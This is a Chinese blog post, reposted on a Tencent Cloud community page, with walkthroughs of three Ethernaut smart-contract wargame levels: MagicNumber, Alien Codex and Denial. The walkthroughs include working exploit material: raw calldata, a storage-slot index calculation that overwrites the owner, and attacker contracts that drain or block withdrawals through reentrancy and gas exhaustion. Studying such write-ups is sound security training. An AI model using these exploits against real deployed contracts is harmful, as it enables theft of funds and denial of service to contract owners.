前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >智能合约:Ethernaut题解(六)

智能合约:Ethernaut题解(六)

作者头像
yichen
发布2020-06-01 15:22:31
1K0
发布2020-06-01 15:22:31
举报
文章被收录于专栏:陈冠男的游戏人生

MagicNumber

目标:使用 10 个操作码输出 42

代码语言:javascript
复制
pragma solidity ^0.4.24;
contract MagicNum {
  address public solver;
  constructor() public {}
  function setSolver(address _solver) public {
    solver = _solver;
  }
  /*
    ____________/\\\_______/\\\\\\\\\_____
     __________/\\\\\_____/\\\///////\\\___
      ________/\\\/\\\____\///______\//\\\__
       ______/\\\/\/\\\______________/\\\/___
        ____/\\\/__\/\\\___________/\\\//_____
         __/\\\\\\\\\\\\\\\\_____/\\\//________
          _\///////////\\\//____/\\\/___________
           ___________\/\\\_____/\\\\\\\\\\\\\\\_
            ___________\///_____\///////////////__
  */
}

原理:https://hitcxy.com/2019/ethernaut/ 太强了!

在合约创建的时候,用户或合约将交易发送到以太坊网络,没有参数 to,表示这是个合约创建而不是一个交易

EVM 把 solidity 代码编译为 字节码,字节码直接转换成 opcodes 运行

字节码包含两部分:initialization code 和 runtime code ,一开始合约创建的时候 EVM 只执行 initialization code,遇到第一个 stop 或者 return 的时候合约的构造函数就运行了,此时合约便有了地址

想要做这道题要构造这两段代码 initialization code 和 runtime code,initialization code 是由 EVM 创建并且存储需要用的 runtime code 的,所以首先来看 runtime code,想要返回 42,需要用 return(p,s) 但是在返回值前先要把值存储到内存中 mstore(p, v)

首先,用 mstore(p,v) 把 42 存储到内存中,v 是 42 的十六进制值 0x2a,p 是内存中的位置,push 的字节码是 0x60

代码语言:javascript
复制
0x602a  ;PUSH1 0x2a    v
0x6080  ;PUSH1 0x80    p
0x52    ;MSTORE

然后,用 return(p,s) 返回 42,p 是存储的位置,s 是存储所占的大小不明白为啥是 0x20

代码语言:javascript
复制
0x6020   ;PUSH1 0x20    s
0x6080   ;PUSH1 0x80    p
0xf3     ;RETURN

所以整个 runtime code 是 0x602a60805260206080f3

再来看 initialization code,首先 initialization code 要把 runtime code 拷贝到内训,然后再返回给 EVM

将代码从一个地方复制到一个地方的方法是 codecopy(t, f, s)。t 是目标位置,f 是当前位置,s 是代码大小(单位:字节),之前我们的代码大小为 10 字节

代码语言:javascript
复制
;copy bytecode to memory
0x600a   ;PUSH1 0x0a      S(runtime code size)
0x60??   ;PUSH1 0x??      F(current position of runtime opcodes)
0x6000   ;PUSH1 0x00      T(destination memory index 0)
0x39     ;CODECOPY

然后,将内存中的 runtime codes 返回到 EVM

代码语言:javascript
复制
;return code from memory to EVM
0x600a   ;PUSH1 0x0a      S
0x6000   ;PUSH1 0x00      P
0xf3     ;RETURN

initialization codes 总共占了 0x0c 字节,这表示 runtime codes 从索引 0x0c 开始,所以 ?? 的地方是 0x0c

所以,initialization codes 最后的顺序是 600a600c600039600a6000f3

两个拼起来,得到字节码是:

0x600a600c600039600a6000f3602a60805260206080f3

代码语言:javascript
复制
var bytecode = "0x600a600c600039600a6000f3602a60805260206080f3";
web3.eth.sendTransaction({from:player,data:bytecode},function(err,res){console.log(res)});

然后去刚才交易的详情去看一下

拿到新的合约地址之后 await contract.setSolver("合约地址"),然后就通关了

Alien Codex

目标:拿到合约所有权

代码语言:javascript
复制
pragma solidity ^0.4.24;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract AlienCodex is Ownable {
  bool public contact;//布尔型变量contact
  bytes32[] public codex;
  modifier contacted() {
    assert(contact);
    _;//函数修饰符,要通过contact必须要是true
  }
  function make_contact(bytes32[] _firstContactMessage) public {
    assert(_firstContactMessage.length > 2**200);//要求数组的长度必须是大于2的200次方
    contact = true;
  }//可以通过这个函数,使得contact变为true
  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }//增加数组长度
  function retract() contacted public {
    codex.length--;
  }//减少数组长度
  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }//修改数组里的内容
}

由于 EVM 存储优化的关系,在 slot [0] 中同时存储了 contact 和 owner,所以我们要做的就是将 owner 变量覆盖为自己账户地址

所有函数都有 contacted 限制,所以必须要先通过 make_contact 把 contact 改成 true

make_contact() 函数只验证传入数组的长度。OPCODE 中数组长度是存储在某个 slot 上的,并且没有对数组长度和数组内的数据做校验。所以可以构造一个存储位上长度很大,但实际上并没有数据的数组,打包成 data 发送

代码语言:javascript
复制
sig = web3.sha3("make_contact(bytes32[])").slice(0,10)
// "0x1d3d4c0b"
// 函数选择器
data1 = "0000000000000000000000000000000000000000000000000000000000000020"
// 除去函数选择器,数组长度的存储从第0x20位开始,上面是32字节
data2 = "1000000000000000000000000000000000000000000000000000000000000001"
// 数组的长度
contract.sendTransaction({data: sig + data1 + data2});
// 发送交易

之后通过调用 retract(),使得 codex 数组长度下溢。

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});

await contract.retract()

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});

再来看一下 codex 的位置:

我们要修改 slot 0 对应的 codex[?]

codex[X] == SLOAD(keccak256(slot) + X)

X 就是我们传入的那一个下标,是我们可控的,我们改成 2^256 - keccak256(slot) 这样实际上就是 2^256,总共有 2^256 个 slot,我们去找的就是 slot 2^256 也就是 slot 0

codex 的 slot 是 1,所以我们用下面的方法去计算一下

代码语言:javascript
复制
pragma solidity ^0.4.18;
contract test {
function go() view returns(bytes32){
   return keccak256((bytes32(1)));
}
}

2**256 - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 = 35707666377435648211887908874984608119992236509074197713628505308453184860938

所以我们把 codex 的下标改成这个之后实际修改的就是 slot 0 的地址

contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x000000000000000000000001改成player的地址')

Denial

目标:造成 DOS 使得合约的 owner 在调用 withdraw 时无法正常提取资产

代码语言:javascript
复制
pragma solidity ^0.4.24;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Denial {
    using SafeMath for uint256;
    address public partner;
    address public constant owner = 0xA9E;
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances;
    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        partner.call.value(amountToSend)();
        owner.transfer(amountToSend);
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }
    function() payable {}
    function contractBalance() view returns (uint) {
        return address(this).balance;
    }
}

可以使用重入攻击的方法,把钱全部转走 exp:

代码语言:javascript
复制
pragma solidity ^0.4.23;
contract Denial {
    address public partner;
    address public constant owner = 0xA9E;
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances;
    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }
    function withdraw() public {
        uint amountToSend = address(this).balance/100;
        partner.call.value(amountToSend)();
        owner.transfer(amountToSend);
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] += amountToSend;
    }
    function() payable {}
    function contractBalance() view returns (uint) {
        return address(this).balance;
    }
}
contract Attack{
    address instance_address = 题目合约地址;
    Denial target = Denial(instance_address);
    function hack() public {
        target.setWithdrawPartner(address(this));
        target.withdraw();
    }
    function () payable public {
        target.withdraw();
    }
}

部署,点击 hack 然后提交就可以啦

还有一种方法是 assert 函数触发异常之后会消耗所有可用的 gas,消耗了所有的 gas 那就没法转账了

代码语言:javascript
复制
pragma solidity ^0.4.23;
contract Denial {
    address public partner;
    address public constant owner = 0xA9E;
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances;
    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }
    function withdraw() public {
        uint amountToSend = address(this).balance/100;
        partner.call.value(amountToSend)();
        owner.transfer(amountToSend);
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] += amountToSend;
    }
    function() payable {}
    function contractBalance() view returns (uint) {
        return address(this).balance;
    }
}
contract Attack{
    address instance_address = 题目合约地址;
    Denial target = Denial(instance_address);
    function hack() public {
        target.setWithdrawPartner(address(this));
        target.withdraw();
    }
    function () payable public {
        assert(0==1);
    }
}
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-05-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • MagicNumber
  • Alien Codex
  • Denial
相关产品与服务
对象存储
对象存储(Cloud Object Storage,COS)是由腾讯云推出的无目录层次结构、无数据格式限制,可容纳海量数据且支持 HTTP/HTTPS 协议访问的分布式存储服务。腾讯云 COS 的存储桶空间无容量上限,无需分区管理,适用于 CDN 数据分发、数据万象处理或大数据计算与分析的数据湖等多种场景。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档